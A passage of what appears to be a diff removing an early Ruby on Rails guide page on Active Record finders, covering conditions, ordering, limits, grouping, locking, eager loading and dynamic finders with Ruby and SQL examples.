-<pre><tt>Got a packet bigger than 'max_allowed_packet' bytes: _query_</tt></pre>
-</div></div>
-<div class="paragraph"><p>Where <em>query</em> is the actual query used to get that error.</p></div>
-<div class="paragraph"><p>In this example it would be better to use greater-than and less-than operators in SQL, like so:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span>
- <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ? AND created_at &lt; ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]])</span></tt></pre></div></div>
-<div class="paragraph"><p>You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span>
- <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt;= ? AND created_at &lt;= ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]])</span></tt></pre></div></div>
-<div class="paragraph"><p>Just like in Ruby. If you want a shorter syntax be sure to check out the <a href="#_hash_conditions">Hash Conditions</a> section later on in the guide.</p></div>
-<h3 id="_placeholder_conditions">2.3. Placeholder Conditions</h3>
-<div class="paragraph"><p>Similar to the array style of params you can also specify keys in your conditions:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span>
- <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt;= :start_date AND created_at &lt;= :end_date"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>start_date <span style="color: #990000">=&gt;</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> <span style="color: #990000">:</span>end_date <span style="color: #990000">=&gt;</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]</span> <span style="color: #FF0000">}</span><span style="color: #990000">])</span></tt></pre></div></div>
-<div class="paragraph"><p>This makes for clearer readability if you have a large number of variable conditions.</p></div>
-<h3 id="_hash_conditions">2.4. Hash Conditions</h3>
-<div class="paragraph"><p>Rails also allows you to pass in a hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>locked <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>The field name does not have to be a symbol it can also be a string:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #FF0000">'locked'</span> <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>created_at <span style="color: #990000">=&gt;</span> <span style="color: #990000">(</span>Time<span style="color: #990000">.</span>now<span style="color: #990000">.</span>midnight <span style="color: #990000">-</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>day<span style="color: #990000">)..</span>Time<span style="color: #990000">.</span>now<span style="color: #990000">.</span>midnight<span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>This will find all clients created yesterday by using a BETWEEN sql statement:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #FF0000">`clients`</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span><span style="color: #FF0000">`clients`</span><span style="color: #990000">.</span><span style="color: #FF0000">`created_at`</span> <span style="font-weight: bold"><span style="color: #0000FF">BETWEEN</span></span> <span style="color: #FF0000">'2008-12-21 00:00:00'</span> <span style="font-weight: bold"><span style="color: #0000FF">AND</span></span> <span style="color: #FF0000">'2008-12-22 00:00:00'</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>This demonstrates a shorter syntax for the examples in <a href="#_array_conditions">Array Conditions</a></p></div>
-<div class="paragraph"><p>You can also join in tables and specify their columns in the hash:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #FF0000">'orders.created_at'</span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">(</span>Time<span style="color: #990000">.</span>now<span style="color: #990000">.</span>midnight <span style="color: #990000">-</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>day<span style="color: #990000">)..</span>Time<span style="color: #990000">.</span>now<span style="color: #990000">.</span>midnight <span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>An alternative and cleaner syntax to this is:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>orders <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>created_at <span style="color: #990000">=&gt;</span> <span style="color: #990000">(</span>Time<span style="color: #990000">.</span>now<span style="color: #990000">.</span>midnight <span style="color: #990000">-</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>day<span style="color: #990000">)..</span>Time<span style="color: #990000">.</span>now<span style="color: #990000">.</span>midnight <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>This will find all clients who have orders that were created yesterday, again using a BETWEEN expression.</p></div>
-<div class="paragraph"><p>If you want to find records using the IN expression you can pass an array to the conditions hash:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>orders_count <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">,</span><span style="color: #993399">5</span><span style="color: #990000">]</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
-<div class="paragraph"><p>This code will generate SQL like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #FF0000">`clients`</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span><span style="color: #FF0000">`clients`</span><span style="color: #990000">.</span><span style="color: #FF0000">`orders_count`</span> <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">))</span></tt></pre></div></div>
-</div>
-<h2 id="_ordering">3. Ordering</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>If you&#8217;re getting a set of records and want to order them in ascending order by the <tt>created_at</tt> field in your table, you can use <tt>Client.all(:order =&gt; "created_at")</tt>. If you&#8217;d like to order it in descending order, just tell it to do that using <tt>Client.all(:order =&gt; "created_at desc")</tt>. The value for this option is passed in as sanitized SQL and allows you to sort via multiple fields: <tt>Client.all(:order =&gt; "created_at desc, orders_count asc")</tt>.</p></div>
-</div>
-<h2 id="_selecting_certain_fields">4. Selecting Certain Fields</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>To select certain fields, you can use the select option like this: <tt>Client.first(:select =&gt; "viewable_by, locked")</tt>. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute <tt>SELECT viewable_by, locked FROM clients LIMIT 1</tt> on your database.</p></div>
-<div class="paragraph"><p>Be careful because this also means you&#8217;re initializing a model object with only the fields that you&#8217;ve selected. If you attempt to access a field that is not in the initialized record you&#8217;ll receive:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>ActiveRecord::MissingAttributeError: missing attribute: &lt;attribute&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>Where &lt;attribute&gt; is the atrribute you asked for. The <tt>id</tt> method will not raise the <tt>ActiveRecord::MissingAttributeError</tt>, so just be careful when working with associations because they need the <tt>id</tt> method to function properly.</p></div>
-<div class="paragraph"><p>You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the <tt>DISTINCT</tt> function you can do it like this: <tt>Client.all(:select =&gt; "DISTINCT(name)")</tt>.</p></div>
-</div>
-<h2 id="_limit_amp_offset">5. Limit &amp; Offset</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>If you want to limit the amount of records to a certain subset of all the records retrieved you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">5</span></tt></pre></div></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>offset <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">5</span><span style="color: #990000">,</span> <span style="color: #993399">5</span></tt></pre></div></div>
-</div>
-<h2 id="_group">6. Group</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>The group option for find is useful, for example, if you want to find a collection of the dates orders were created on. You could use the option in this context:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Order<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"date(created_at)"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"created_at"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>And this will give you a single <tt>Order</tt> object for each date where there are orders in the database.</p></div>
-<div class="paragraph"><p>The SQL that would be executed would be something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> orders <span style="font-weight: bold"><span style="color: #0000FF">GROUP</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> <span style="color: #009900">date</span><span style="color: #990000">(</span>created_at<span style="color: #990000">)</span></tt></pre></div></div>
-</div>
-<h2 id="_having">7. Having</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>The <tt>:having</tt> option allows you to specify SQL and acts as a kind of a filter on the group option. <tt>:having</tt> can only be specified when <tt>:group</tt> is specified.</p></div>
-<div class="paragraph"><p>An example of using it would be:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Order<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"date(created_at)"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>having <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>month<span style="color: #990000">.</span>ago<span style="color: #990000">])</span></tt></pre></div></div>
-<div class="paragraph"><p>This will return single order objects for each day, but only for the last month.</p></div>
-</div>
-<h2 id="_read_only">8. Read Only</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><tt>readonly</tt> is a <tt>find</tt> option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an ActiveRecord::ReadOnlyRecord exception. To set this option, specify it like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>readonly <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>If you assign this record to a variable client, calling the following code will raise an ActiveRecord::ReadOnlyRecord exception:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>readonly <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span>
-client<span style="color: #990000">.</span>locked <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-client<span style="color: #990000">.</span>save</tt></pre></div></div>
-</div>
-<h2 id="_lock">9. Lock</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>If you&#8217;re wanting to stop race conditions for a specific record (for example, you&#8217;re incrementing a single field for a record, potentially from multiple simultaneous connections) you can use the lock option to ensure that the record is updated correctly. For safety, you should use this inside a transaction.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Topic<span style="color: #990000">.</span>transaction <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- t <span style="color: #990000">=</span> Topic<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">],</span> <span style="color: #990000">:</span>lock <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span>
- t<span style="color: #990000">.</span>increment!<span style="color: #990000">(:</span>views<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You can also pass SQL to this option to allow different types of locks. For example, MySQL has an expression called LOCK IN SHARE MODE where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Topic<span style="color: #990000">.</span>transaction <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- t <span style="color: #990000">=</span> Topic<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">],</span> <span style="color: #990000">:</span>lock <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"LOCK IN SHARE MODE"</span><span style="color: #990000">)</span>
- t<span style="color: #990000">.</span>increment!<span style="color: #990000">(:</span>views<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_making_it_all_work_together">10. Making It All Work Together</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the <tt>find</tt> method Active Record will use the last one you specified. This is because the options passed to find are a hash and defining the same key twice in a hash will result in the last definition being used.</p></div>
-</div>
-<h2 id="_eager_loading">11. Eager Loading</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use <tt>Client.all(:include =&gt; :address)</tt>. If you wanted to include both the address and mailing address for the client you would use <tt>Client.find(:all, :include =&gt; [:address, :mailing_address])</tt>. Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.000383</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients
-Address <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.119770</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> addresses<span style="color: #990000">.*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> addresses
- <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>addresses<span style="color: #990000">.</span>client_id <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">13</span><span style="color: #990000">,</span><span style="color: #993399">14</span><span style="color: #990000">))</span>
-MailingAddress <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.001985</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> mailing_addresses<span style="color: #990000">.*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span>
- mailing_addresses <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>mailing_addresses<span style="color: #990000">.</span>client_id <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">13</span><span style="color: #990000">,</span><span style="color: #993399">14</span><span style="color: #990000">))</span></tt></pre></div></div>
-<div class="paragraph"><p>The numbers <tt>13</tt> and <tt>14</tt> in the above SQL are the ids of the clients gathered from the <tt>Client.all</tt> query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called <tt>address</tt> or <tt>mailing_address</tt> on one of the objects in the clients array, which may lead to performance issues if you&#8217;re loading a large number of records at once and is often called the "N+1 query problem". The problem is that the more queries your server has to execute, the slower it will run.</p></div>
-<div class="paragraph"><p>If you wanted to get all the addresses for a client in the same query you would do <tt>Client.all(:joins =&gt; :address)</tt>.
-If you wanted to find the address and mailing address for that client you would do <tt>Client.all(:joins =&gt; [:address, :mailing_address])</tt>. This is more efficient because it does all the SQL in one query, as shown by this example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">+</span>Client <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.000455</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> clients<span style="color: #990000">.*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">INNER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">JOIN</span></span> addresses
- <span style="font-weight: bold"><span style="color: #0000FF">ON</span></span> addresses<span style="color: #990000">.</span>client_id <span style="color: #990000">=</span> client<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">INNER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">JOIN</span></span> mailing_addresses <span style="font-weight: bold"><span style="color: #0000FF">ON</span></span>
- mailing_addresses<span style="color: #990000">.</span>client_id <span style="color: #990000">=</span> client<span style="color: #990000">.</span>id</tt></pre></div></div>
-<div class="paragraph"><p>This query is more efficent, but there&#8217;s a gotcha: if you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins. Alternatively, you can use a SQL join clause to specify exactly the join you need (Rails always assumes an inner join):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>joins <span style="color: #990000">=&gt;</span> “LEFT OUTER JOIN addresses ON
- client<span style="color: #990000">.</span>id <span style="color: #990000">=</span> addresses<span style="color: #990000">.</span>client_id LEFT OUTER JOIN mailing_addresses ON
- client<span style="color: #990000">.</span>id <span style="color: #990000">=</span> mailing_addresses<span style="color: #990000">.</span>client_id”<span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span>
- <span style="color: #990000">[</span><span style="color: #FF0000">"orders.created_at &gt;= ? AND orders.created_at &lt;= ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">,</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">])</span></tt></pre></div></div>
-</div>
-<h2 id="_dynamic_finders">12. Dynamic finders</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called <tt>name</tt> on your Client model for example, you get <tt>find_by_name</tt> and <tt>find_all_by_name</tt> for free from Active Record. If you have also have a <tt>locked</tt> field on the Client model, you also get <tt>find_by_locked</tt> and <tt>find_all_by_locked</tt>.</p></div>
-<div class="paragraph"><p>You can do <tt>find_last_by_*</tt> methods too which will find the last record matching your argument.</p></div>
-<div class="paragraph"><p>You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an ActiveRecord::RecordNotFound error if they do not return any records, like <tt>Client.find_by_name!("Ryan")</tt></p></div>
-<div class="paragraph"><p>If you want to find both by name and locked, you can chain these finders together by simply typing <tt>and</tt> between the fields for example <tt>Client.find_by_name_and_locked("Ryan", true)</tt>.</p></div>
-<div class="paragraph"><p>There&#8217;s another set of dynamic finders that let you find or create/initialize objects if they aren&#8217;t found. These work in a similar fashion to the other finders and can be used like <tt>find_or_create_by_name(params[:name])</tt>. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for <tt>Client.find_or_create_by_name("Ryan")</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>clients<span style="color: #990000">.</span>name <span style="color: #990000">=</span> <span style="color: #FF0000">'Ryan'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span>
-BEGIN
-<span style="font-weight: bold"><span style="color: #0000FF">INSERT</span></span> <span style="font-weight: bold"><span style="color: #0000FF">INTO</span></span> clients <span style="color: #990000">(</span>name<span style="color: #990000">,</span> updated_at<span style="color: #990000">,</span> created_at<span style="color: #990000">,</span> orders_count<span style="color: #990000">,</span> locked<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">VALUES</span></span><span style="color: #990000">(</span><span style="color: #FF0000">'Ryan'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2008-09-28 15:39:12'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2008-09-28 15:39:12'</span><span style="color: #990000">,</span> <span style="color: #993399">0</span><span style="color: #990000">,</span> <span style="color: #FF0000">'0'</span><span style="color: #990000">)</span>
-COMMIT</tt></pre></div></div>
-<div class="paragraph"><p><tt>find_or_create</tt>'s sibling, <tt>find_or_initialize</tt>, will find an object and if it does not exist will act similar to calling <tt>new</tt> with the arguments you passed in. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
